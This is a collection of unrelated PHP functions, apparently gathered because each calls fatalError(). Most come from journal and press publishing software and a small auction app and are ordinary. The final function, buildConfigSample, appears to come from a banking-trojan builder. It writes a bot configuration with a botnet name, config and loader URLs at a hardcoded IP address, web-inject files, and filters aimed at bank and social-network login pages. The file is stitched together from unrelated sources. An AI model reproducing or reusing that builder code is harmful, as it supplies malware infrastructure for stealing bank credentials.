/** * @copydoc Form::execute() */ function execute($args, $request) { // Retrieve the submission. $submission = $this->getSubmission(); // Get this form decision actions labels. $actionLabels = EditorDecisionActionsManager::getActionLabels($this->_getDecisions()); // Record the decision. $reviewRound = $this->getReviewRound(); $decision = $this->getDecision(); $stageId = $this->getStageId(); import('lib.pkp.classes.submission.action.EditorAction'); $editorAction = new EditorAction(); $editorAction->recordDecision($request, $submission, $decision, $actionLabels, $reviewRound, $stageId); // Identify email key and status of round. switch ($decision) { case SUBMISSION_EDITOR_DECISION_PENDING_REVISIONS: $emailKey = 'EDITOR_DECISION_REVISIONS'; $status = REVIEW_ROUND_STATUS_REVISIONS_REQUESTED; break; case SUBMISSION_EDITOR_DECISION_RESUBMIT: $emailKey = 'EDITOR_DECISION_RESUBMIT'; $status = REVIEW_ROUND_STATUS_RESUBMITTED; break; case SUBMISSION_EDITOR_DECISION_DECLINE: $emailKey = 'SUBMISSION_UNSUITABLE'; $status = REVIEW_ROUND_STATUS_DECLINED; break; default: fatalError('Unsupported decision!'); } $this->_updateReviewRoundStatus($submission, $status, $reviewRound); // Send email to the author. $this->_sendReviewMailToAuthor($submission, $emailKey, $request); }
/** * Export the locale files to the browser as a tarball. * Requires tar for operation (configured in config.inc.php). */ function export($locale) { // Construct the tar command $tarBinary = Config::getVar('cli', 'tar'); if (empty($tarBinary) || !file_exists($tarBinary)) { // We can use fatalError() here as we already have a user // friendly way of dealing with the missing tar on the // index page. fatalError('The tar binary must be configured in config.inc.php\'s cli section to use the export function of this plugin!'); } $command = $tarBinary . ' cz'; $localeFilesList = TranslatorAction::getLocaleFiles($locale); $localeFilesList = array_merge($localeFilesList, TranslatorAction::getMiscLocaleFiles($locale)); $emailTemplateDao =& DAORegistry::getDAO('EmailTemplateDAO'); $localeFilesList[] = $emailTemplateDao->getMainEmailTemplateDataFilename($locale); foreach (array_values(TranslatorAction::getEmailFileMap($locale)) as $emailFile) { } // Include locale files (main file and plugin files) foreach ($localeFilesList as $file) { if (file_exists($file)) { $command .= ' ' . escapeshellarg($file); } } header('Content-Type: application/x-gtar'); header("Content-Disposition: attachment; filename=\"{$locale}.tar.gz\""); header('Cache-Control: private'); // Workarounds for IE weirdness passthru($command); }
/** * Get the value of a field by symbolic name. * @var $record object * @var $name string * @var $type SORT_ORDER_TYPE_... * @return mixed */ function getFieldValue(&$record, $name, $type) { $fieldValue = null; $parsedContents = $record->getParsedContents(); if (isset($parsedContents[$name])) { switch ($type) { case SORT_ORDER_TYPE_STRING: $fieldValue = join(';', $parsedContents[$name]); break; case SORT_ORDER_TYPE_NUMBER: $fieldValue = (int) array_shift($parsedContents[$name]); break; case SORT_ORDER_TYPE_DATE: $fieldValue = strtotime($thing = array_shift($parsedContents[$name])); if ($fieldValue === -1 || $fieldValue === false) { $fieldValue = null; } break; default: fatalError('UNKNOWN TYPE'); } } HookRegistry::call('EtdmsPlugin::getFieldValue', array(&$this, &$fieldValue)); return $fieldValue; }
/** * @copydoc PKPHandler::authorize() */ function authorize($request, &$args, $roleAssignments) { import('lib.pkp.classes.security.authorization.ContextAccessPolicy'); $this->addPolicy(new ContextAccessPolicy($request, $roleAssignments)); $operation = $request->getRequestedOp(); $workflowStageRequiredOps = array('assignStage', 'unassignStage'); if (in_array($operation, $workflowStageRequiredOps)) { import('lib.pkp.classes.security.authorization.internal.WorkflowStageRequiredPolicy'); $this->addPolicy(new WorkflowStageRequiredPolicy($request->getUserVar('stageId'))); } $userGroupRequiredOps = array_merge($workflowStageRequiredOps, array('editUserGroup', 'updateUserGroup', 'removeUserGroup')); if (in_array($operation, $userGroupRequiredOps)) { // Validate the user group object. $userGroupId = $request->getUserVar('userGroupId'); $userGroupDao = DAORegistry::getDAO('UserGroupDAO'); /* @var $userGroupDao UserGroupDAO */ $userGroup = $userGroupDao->getById($userGroupId); if (!$userGroup) { fatalError('Invalid user group id!'); } else { $this->_userGroup = $userGroup; } } return parent::authorize($request, $args, $roleAssignments); }
/** * @see OAIMetadataFormat#toXml */ function toXml(&$oaiRecord, $format = null) { $record =& $oaiRecord->getData('record'); switch ($format) { case 'oai_dc': static $xslDoc, $proc; if (!isset($xslDoc) || !isset($proc)) { // Cache the XSL $xslDoc = new DOMDocument(); $xslDoc->load('http://www.loc.gov/standards/marcxml/xslt/MARC21slim2OAIDC.xsl'); $proc = new XSLTProcessor(); $proc->importStylesheet($xslDoc); } $xmlDoc = new DOMDocument(); $xmlDoc->loadXML($record->getContents()); $xml = $proc->transformToXML($xmlDoc); // Cheesy: strip the XML header if (($pos = strpos($xml, '<oai_dc:dc')) > 0) { $xml = substr($xml, $pos); } return $xml; case 'oai_marc': case 'marcxml': return $record->getContents(); default: fatalError("Unable to convert MARC to {$format}!\n"); } }
/** * Update the information whether user messages should be * displayed or not. * @param $args array * @param $request PKPRequest * @return JSONMessage JSON object */ function updateUserMessageState($args, $request) { // Exit with a fatal error if request parameters are missing. if (!isset($args['setting-name']) && isset($args['setting-value'])) { fatalError('Required request parameter "setting-name" or "setting-value" missing!'); } // Retrieve the user from the session. $user = $request->getUser(); assert(is_a($user, 'User')); // Validate the setting. // FIXME: We don't have to retrieve the setting type (which is always bool // for user messages) but only whether the setting name is valid and the // value is boolean. $settingName = $args['setting-name']; $settingValue = $args['setting-value']; $settingType = $this->_settingType($settingName); switch ($settingType) { case 'bool': if (!($settingValue === 'false' || $settingValue === 'true')) { // Exit with a fatal error when the setting value is invalid. fatalError('Invalid setting value! Must be "true" or "false".'); } $settingValue = $settingValue === 'true' ? true : false; break; default: // Exit with a fatal error when an unknown setting is found. fatalError('Unknown setting!'); } // Persist the validated setting. $userSettingsDao = DAORegistry::getDAO('UserSettingsDAO'); $userSettingsDao->updateSetting($user->getId(), $settingName, $settingValue, $settingType); // Return a success message. return new JSONMessage(true); }
public function user() { if (!isset($this->user)) { fatalError('User not set on bid'); } return $this->user; }
/** * Load configuration data from a file. * The file is assumed to be formatted in php.ini style. * @return array the configuration data */ function &reloadData() { if (($configData =& ConfigParser::readConfig(CONFIG_FILE)) === false) { fatalError(sprintf('Cannot read configuration file %s', CONFIG_FILE)); } return $configData; }
/** * Adds an error log to debug bar and log file * @static * @param Integer $errno error level (E_USER_xxx) * @param String $errstr Error message * @param String $errfile[optional] name of the file where error occurred - default: unknown * @param Integer $errline[optional] line number where error thrown - default: unknown * @return Boolean should always return true */ static function error($errno, $errstr, $errfile = "unknown", $errline = "unknown") { switch ($errno) { case E_USER_ERROR: $error = ''; $error .= '<p>A <b>Fatal Error</b> has occured.</p>'; $error .= '<dl>'; $error .= '<dt>' . $errstr . '</dt>'; $error .= '<dd>' . $errfile . ' (' . $errline . ')</dd>'; $error .= '</dl>'; fatalError($error); break; case E_USER_WARNING: $type = 'warning'; self::$error[] = array('type' => 'warning', 'file' => $errfile, 'line' => $errline, 'str' => $errstr); break; case E_USER_NOTICE: $type = 'notice'; self::$error[] = array('type' => 'notice', 'file' => $errfile, 'line' => $errline, 'str' => $errstr); break; default: $type = $errno; self::$error[] = array('type' => $type, 'file' => $errfile, 'line' => $errline, 'str' => $errstr); break; } debug("------------- Error : " . $type . "--------------", 'error'); debug("File : " . $errfile, 'error'); debug("Line : " . $errline, 'error'); debug("Message : " . $errstr, 'error'); debug("----------------------------------------", 'error'); return true; }
/** * @copydoc SetupListbuilderHandler::initialize() */ function initialize($request) { parent::initialize($request); AppLocale::requireComponents(LOCALE_COMPONENT_PKP_MANAGER); $footerCategoryId = (int) $request->getUserVar('footerCategoryId'); $context = $request->getContext(); $footerCategoryDao = DAORegistry::getDAO('FooterCategoryDAO'); $footerCategory = $footerCategoryDao->getById($footerCategoryId, $context->getId()); if ($footerCategoryId && !isset($footerCategory)) { fatalError('Footer Category does not exist within this context.'); } else { $this->_footerCategoryId = $footerCategoryId; } // Basic configuration $this->setTitle('grid.content.navigation.footer.FooterLink'); $this->setSourceType(LISTBUILDER_SOURCE_TYPE_TEXT); $this->setSaveType(LISTBUILDER_SAVE_TYPE_EXTERNAL); $this->setSaveFieldName('footerLinks'); import('lib.pkp.controllers.listbuilder.content.navigation.FooterLinkListbuilderGridCellProvider'); // Title column $titleColumn = new MultilingualListbuilderGridColumn($this, 'title', 'common.title', null, null, null, null, array('tabIndex' => 1)); $titleColumn->setCellProvider(new FooterLinkListbuilderGridCellProvider()); $this->addColumn($titleColumn); // Url column $urlColumn = new MultilingualListbuilderGridColumn($this, 'url', 'common.url', null, null, null, null, array('tabIndex' => 2)); $urlColumn->setCellProvider(new FooterLinkListbuilderGridCellProvider()); $this->addColumn($urlColumn); }
/** * Fetch information for the author on the specified review round * @param $args array * @param $request Request * @return JSONMessage JSON object */ function fetchReviewRoundInfo($args, $request) { $this->setupTemplate($request); $templateMgr = TemplateManager::getManager($request); $stageId = $this->getAuthorizedContextObject(ASSOC_TYPE_WORKFLOW_STAGE); if ($stageId !== WORKFLOW_STAGE_ID_INTERNAL_REVIEW && $stageId !== WORKFLOW_STAGE_ID_EXTERNAL_REVIEW) { fatalError('Invalid Stage Id'); } $templateMgr->assign('stageId', $stageId); $reviewRound = $this->getAuthorizedContextObject(ASSOC_TYPE_REVIEW_ROUND); $templateMgr->assign('reviewRoundId', $reviewRound->getId()); $submission = $this->getAuthorizedContextObject(ASSOC_TYPE_SUBMISSION); $templateMgr->assign('submission', $submission); // Review round request notification options. $notificationRequestOptions = array(NOTIFICATION_LEVEL_NORMAL => array(NOTIFICATION_TYPE_REVIEW_ROUND_STATUS => array(ASSOC_TYPE_REVIEW_ROUND, $reviewRound->getId())), NOTIFICATION_LEVEL_TRIVIAL => array()); $templateMgr->assign('reviewRoundNotificationRequestOptions', $notificationRequestOptions); // Editor has taken an action and sent an email; Display the email import('classes.workflow.EditorDecisionActionsManager'); if (EditorDecisionActionsManager::getEditorTakenActionInReviewRound($reviewRound)) { $submissionEmailLogDao = DAORegistry::getDAO('SubmissionEmailLogDAO'); $user = $request->getUser(); $submissionEmailFactory = $submissionEmailLogDao->getByEventType($submission->getId(), SUBMISSION_EMAIL_EDITOR_NOTIFY_AUTHOR, $user->getId()); $templateMgr->assign('submissionEmails', $submissionEmailFactory); $templateMgr->assign('showReviewAttachments', true); } return $templateMgr->fetchJson('authorDashboard/reviewRoundInfo.tpl'); }
function initialize($request) { parent::initialize($request); // Retrieve the authorized monograph. $this->setMonograph($this->getAuthorizedContextObject(ASSOC_TYPE_MONOGRAPH)); $representativeId = (int) $request->getUserVar('representativeId'); // set if editing or deleting a representative entry if ($representativeId != '') { $representativeDao = DAORegistry::getDAO('RepresentativeDAO'); $representative = $representativeDao->getById($representativeId, $this->getMonograph()->getId()); if (!isset($representative)) { fatalError('Representative referenced outside of authorized monograph context!'); } } // Load submission-specific translations AppLocale::requireComponents(LOCALE_COMPONENT_APP_SUBMISSION, LOCALE_COMPONENT_PKP_SUBMISSION, LOCALE_COMPONENT_PKP_USER, LOCALE_COMPONENT_APP_DEFAULT, LOCALE_COMPONENT_PKP_DEFAULT); // Basic grid configuration $this->setTitle('grid.catalogEntry.representatives'); // Grid actions $router = $request->getRouter(); $actionArgs = $this->getRequestArgs(); $this->addAction(new LinkAction('addRepresentative', new AjaxModal($router->url($request, null, null, 'addRepresentative', null, $actionArgs), __('grid.action.addRepresentative'), 'modal_add_item'), __('grid.action.addRepresentative'), 'add_item')); // Columns $cellProvider = new RepresentativesGridCellProvider(); $this->addColumn(new GridColumn('name', 'grid.catalogEntry.representativeName', null, null, $cellProvider)); $this->addColumn(new GridColumn('role', 'grid.catalogEntry.representativeRole', null, null, $cellProvider)); }
/** * Approve a galley submission file. * @param $args array * @param $request PKPRequest */ function saveApproveProof($args, $request) { $submissionFile = $this->getAuthorizedContextObject(ASSOC_TYPE_SUBMISSION_FILE); $submission = $this->getAuthorizedContextObject(ASSOC_TYPE_SUBMISSION); // Make sure we only alter files associated with a galley. if ($submissionFile->getAssocType() !== ASSOC_TYPE_GALLEY) { fatalError('The requested file is not associated with any galley.'); } if ($submissionFile->getViewable()) { // No longer expose the file to readers. $submissionFile->setViewable(false); } else { // Expose the file to readers (e.g. via e-commerce). $submissionFile->setViewable(true); // Log the approve proof event. import('lib.pkp.classes.log.SubmissionLog'); import('classes.log.SubmissionEventLogEntry'); // constants $user = $request->getUser(); $articleGalleyDao = DAORegistry::getDAO('ArticleGalleyDAO'); $galley = $articleGalleyDao->getByBestGalleyId($submissionFile->getAssocId(), $submission->getId()); SubmissionLog::logEvent($request, $submission, SUBMISSION_LOG_PROOFS_APPROVED, 'submission.event.proofsApproved', array('formatName' => $galley->getLabel(), 'name' => $user->getFullName(), 'username' => $user->getUsername())); } $submissionFileDao = DAORegistry::getDAO('SubmissionFileDAO'); $submissionFileDao->updateObject($submissionFile); // update the submission's file index import('classes.search.ArticleSearchIndex'); ArticleSearchIndex::submissionFilesChanged($submission); return DAO::getDataChangedEvent($submissionFile->getId()); }
/** * @copydoc SetupListbuilderHandler::initialize() */ function initialize($request) { parent::initialize($request); $context = $request->getContext(); $this->setTitle('plugins.generic.translator.localeFileContents'); $this->setInstructions('plugins.generic.translator.localeFileContentsDescription'); // Get and validate the locale and filename parameters $this->locale = $request->getUserVar('locale'); if (!AppLocale::isLocaleValid($this->locale)) { fatalError('Invalid locale.'); } $this->filename = $request->getUserVar('filename'); if (!in_array($this->filename, TranslatorAction::getLocaleFiles($this->locale))) { fatalError('Invalid locale file specified!'); } // Basic configuration $this->setSourceType(LISTBUILDER_SOURCE_TYPE_TEXT); $this->setSaveType(LISTBUILDER_SAVE_TYPE_EXTERNAL); $this->setSaveFieldName('localeKeys'); self::$plugin->import('controllers.listbuilder.LocaleFileListbuilderGridCellProvider'); $cellProvider = new LocaleFileListbuilderGridCellProvider($this->locale); // Key column $this->addColumn(new ListbuilderGridColumn($this, 'key', 'plugins.generic.translator.localeKey', null, self::$plugin->getTemplatePath() . 'localeFileKeyGridCell.tpl', $cellProvider, array('tabIndex' => 1))); // Value column (custom template displays English text) $this->addColumn(new ListbuilderGridColumn($this, 'value', 'plugins.generic.translator.localeKeyValue', null, self::$plugin->getTemplatePath() . 'localeFileValueGridCell.tpl', $cellProvider, array('tabIndex' => 2, 'width' => 70, 'alignment' => COLUMN_ALIGNMENT_LEFT))); }
/** * Load configuration data from a file. * The file is assumed to be formatted in php.ini style. * @return array the configuration data */ function &reloadData() { if (($configData =& ConfigParser::readConfig(Config::getConfigFileName())) === false) { fatalError(sprintf('Cannot read configuration file %s', Config::getConfigFileName())); } return $configData; }
public static function sendItemWonNotification(Auction $auction) { $content = 'You won auction: ' . $auction->name; if (is_null($auction->buyer())) { fatalError("Won auction had no buyer"); } self::sendNotification($content, $auction->buyer()->id, $auction->id, NotificationType::itemWon()); }
/** * Constructor * * @param $typeName string A plain text type name to be parsed * by this type description class. * * Type names can be any string. This base class provides a basic * implementation for type cardinality (array-types) which can * be re-used by all subclasses. * * We currently do not support heterogeneous or multi-dimensional arrays * because we don't have corresponding use cases. We may, however, expand * our syntax later to accommodate that. * * If you do not know the exact count of an array then you can leave the * parentheses empty ([]). */ function TypeDescription($typeName) { $this->_typeName = $typeName; if (!$this->_parseTypeNameInternally($typeName)) { // Invalid type fatalError('Trying to instantiate a "' . $this->getNamespace() . '" type description with an invalid type name "' . $typeName . '".'); } }
/** * @see Filter::setTransformationType() * @see GenericFilter::setTransformationType() */ function setTransformationType($inputType, $outputType) { // Intercept setTransformationType() to check that we // only get xml input, the output type is arbitrary. if (!substr($inputType, 0, 5) == 'xml::') { fatalError('XSL filters need XML as input.'); } parent::setTransformationType($inputType, $outputType); }
/** * Constructor. * @param $contextId int * @param $fileType int LIBRARY_FILE_TYPE_... * @param $fileId int optional */ function EditLibraryFileForm($contextId, $fileId) { parent::LibraryFileForm('controllers/grid/settings/library/form/editFileForm.tpl', $contextId); $libraryFileDao = DAORegistry::getDAO('LibraryFileDAO'); $this->libraryFile = $libraryFileDao->getById($fileId); if (!$this->libraryFile || $this->libraryFile->getContextId() !== $this->contextId) { fatalError('Invalid library file!'); } }
/** * Set the return type * @param $returnType integer */ function setReturnType($returnType) { if ($returnType == XSL_TRANSFORMER_DOCTYPE_DOM) { if (!extension_loaded('dom')) { fatalError('This system does not meet minimum requirements!'); } } $this->_returnType = $returnType; }
public static function fromUserRoleID($userrole_id) { $results = Database::selectOne('SELECT id, email FROM User WHERE id IN (SELECT user_id FROM UserRole WHERE id = ?)', [$userrole_id]); if (!count($results)) { fatalError('User Not Found'); } $user = new User((int) $results['id']); $user->email = $results['email']; return $user; }
public function dispatch($action) { if (file_exists(PATH_ACTIONS . $action . '.action.php')) { require_once PATH_ACTIONS . $action . '.action.php'; } else { fatalError('Action not found'); } $a = new $action(); $a->index(); }
function &getSchemaPlugin() { $schemaDao =& DAORegistry::getDAO('SchemaDAO'); $schema =& $schemaDao->getSchema($this->getSchemaId()); $plugin =& $schema->getPlugin(); if (!$plugin) { fatalError('Unknown schema plugin ' . $this->getSchemaId() . ' for field ' . $this->getName() . '!'); } return $plugin; }
/** * @see OAIMetadataFormat#toXml */ function toXml(&$oaiRecord, $format = null) { $record =& $oaiRecord->getData('record'); switch ($format) { case 'oai_dc': return $record->getContents(); default: fatalError("Unable to convert DC to {$format}!\n"); } }
/** * Constructor. * @param $contextId int * @param $fileType int LIBRARY_FILE_TYPE_... * @param $fileId int optional */ function EditLibraryFileForm($contextId, $fileId, $submissionId) { parent::LibraryFileForm('controllers/grid/files/submissionDocuments/form/editFileForm.tpl', $contextId); $this->submissionId = $submissionId; $libraryFileDao = DAORegistry::getDAO('LibraryFileDAO'); $this->libraryFile = $libraryFileDao->getById($fileId); if (!$this->libraryFile || $this->libraryFile->getContextId() !== $this->contextId || $this->libraryFile->getSubmissionId() !== $this->getSubmissionId()) { fatalError('Invalid library file!'); } }
function _cacheMiss(&$cache, $id) { $allCodelistItems =& Registry::get('all' . $this->getListName() . 'CodelistItems', true, null); if ($allCodelistItems === null) { // Add a locale load to the debug notes. $notes =& Registry::get('system.debug.notes'); $locale = $cache->cacheId; if ($locale == null) { $locale = AppLocale::getLocale(); } $filename = $this->getFilename($locale); $notes[] = array('debug.notes.codelistItemListLoad', array('filename' => $filename)); // Reload locale registry file $xmlDao = new XMLDAO(); $listName =& $this->getListName(); // i.e., 'List30' import('lib.pkp.classes.codelist.ONIXParserDOMHandler'); $handler = new ONIXParserDOMHandler($listName); import('lib.pkp.classes.xslt.XSLTransformer'); import('lib.pkp.classes.file.FileManager'); import('classes.file.TemporaryFileManager'); $temporaryFileManager = new TemporaryFileManager(); $fileManager = new FileManager(); $tmpName = tempnam($temporaryFileManager->getBasePath(), 'ONX'); $xslTransformer = new XSLTransformer(); $xslTransformer->setParameters(array('listName' => $listName)); $xslTransformer->setRegisterPHPFunctions(true); $xslFile = 'lib/pkp/xml/onixFilter.xsl'; $filteredXml = $xslTransformer->transform($filename, XSL_TRANSFORMER_DOCTYPE_FILE, $xslFile, XSL_TRANSFORMER_DOCTYPE_FILE, XSL_TRANSFORMER_DOCTYPE_STRING); if (!$filteredXml) { assert(false); } $data = null; if (is_writeable($tmpName)) { $fp = fopen($tmpName, 'wb'); fwrite($fp, $filteredXml); fclose($fp); $data = $xmlDao->parseWithHandler($tmpName, $handler); $fileManager->deleteFile($tmpName); } else { fatalError('misconfigured directory permissions on: ' . $temporaryFileManager->getBasePath()); } // Build array with ($charKey => array(stuff)) if (isset($data[$listName])) { foreach ($data[$listName] as $code => $codelistData) { $allCodelistItems[$code] = $codelistData; } } if (is_array($allCodelistItems)) { asort($allCodelistItems); } $cache->setEntireCache($allCodelistItems); } return null; }
public function saveInput(array $input) { $errors = $this->validateInput($input); if (count($errors)) { fatalError($errors); } $parameters = [$input['auction_name'], $input['auction_description'], $input['starting_price'] * 100, $input['end_date_time'], $input['userrole_id'], $input['reserve_price'] * 100]; Database::insert('INSERT INTO Auction (name,description,starting_price,end_date,userrole_id, reserve_price) VALUES (?,?,?,?,?,?)', $parameters); $auction_id = Database::lastID(); return $auction_id; }
/** * Fetch and store away objects * @param $request PKPRequest * @param $args array optional */ function initialize($request, $args = null) { parent::initialize($request, $args); $this->_stageId = $this->getAuthorizedContextObject(ASSOC_TYPE_WORKFLOW_STAGE); $submissionFileDao = DAORegistry::getDAO('SubmissionFileDAO'); /* @var $submissionFileDao SubmissionFileDAO */ $this->submissionFile = $submissionFileDao->getLatestRevision($request->getUserVar('fileId')); // Ensure data integrity. if (!$this->_submission || !$this->submissionFile || $this->_submission->getId() != $this->submissionFile->getSubmissionId()) { fatalError('Unknown or invalid submission or submission file!'); } }
private function getLazyDb() { // return if the function has already run if ($this->db !== NULL) { return; } $this->db = new mysqli(MYSQLI_HOSTNAME, MYSQLI_USER, MYSQLI_PASS, MYSQLI_DATABASE); if (mysqli_connect_errno()) { error_log("Connect failed: " . mysqli_connect_error()); fatalError(); } $this->db->query("SET NAMES 'utf8'"); }
function buildConfigSample($dir) { $host = "http://localhost"; $dt = ";Build time: " . BO_BUILDTIME . "\r\n" . ";Version: " . BO_CLIENT_VERSION . "\r\n\r\n" . "entry \"StaticConfig\"\r\n" . " ;botnet \"btn1\"\r\n" . " timer_config 60 1\r\n" . " timer_logs 30 30\r\n" . " timer_stats 30 1\r\n" . " url_config \"http://141.136.17.181/q3WeFv573.bin\"\r\n" . " remove_certs 1\r\n" . " disable_tcpserver 0\r\n" . "end\r\n\r\n" . "entry \"DynamicConfig\"\r\n" . " url_loader \"http://141.136.17.181/miniinstall.exe\"\r\n" . ($dt .= " file_webinjects \"webinjects.txt\"\r\n" . " entry \"AdvancedConfigs\"\r\n" . " ;\"http://advdomain/cfg1.bin\"\r\n" . " end\r\n" . " entry \"WebFilters\"\r\n" . " \"!*.microsoft.com/*\"\r\n" . " \"!http://*myspace.com*\"\r\n" . " \"https://www.gruposantander.es/*\"\r\n" . " \"!http://*odnoklassniki.ru/*\"\r\n" . " \"!http://vkontakte.ru/*\"\r\n" . " \"@*/login.osmp.ru/*\"\r\n" . " \"@*/atl.osmp.ru/*\"\r\n"); $dt .= " end\r\n" . " entry \"WebDataFilters\"\r\n" . " ;\"http://mail.rambler.ru/*\" \"passw;login\"\r\n" . " end\r\n" . " entry \"WebFakes\"\r\n" . " ;\"http://www.google.com\" \"http://www.yahoo.com\" \"GP\" \"\" \"\"\r\n" . " end\r\n"; $dt .= "end\r\n"; writeFile($dir . "\\config.txt", $dt); $dt = file_get_contents($GLOBALS['dir']['source']['other'] . '\\webinjects.txt'); if (strlen($dt) < 10) { fatalError("Failed to open web injects source file."); } writeFile($dir . '\\webinjects.txt', $dt); }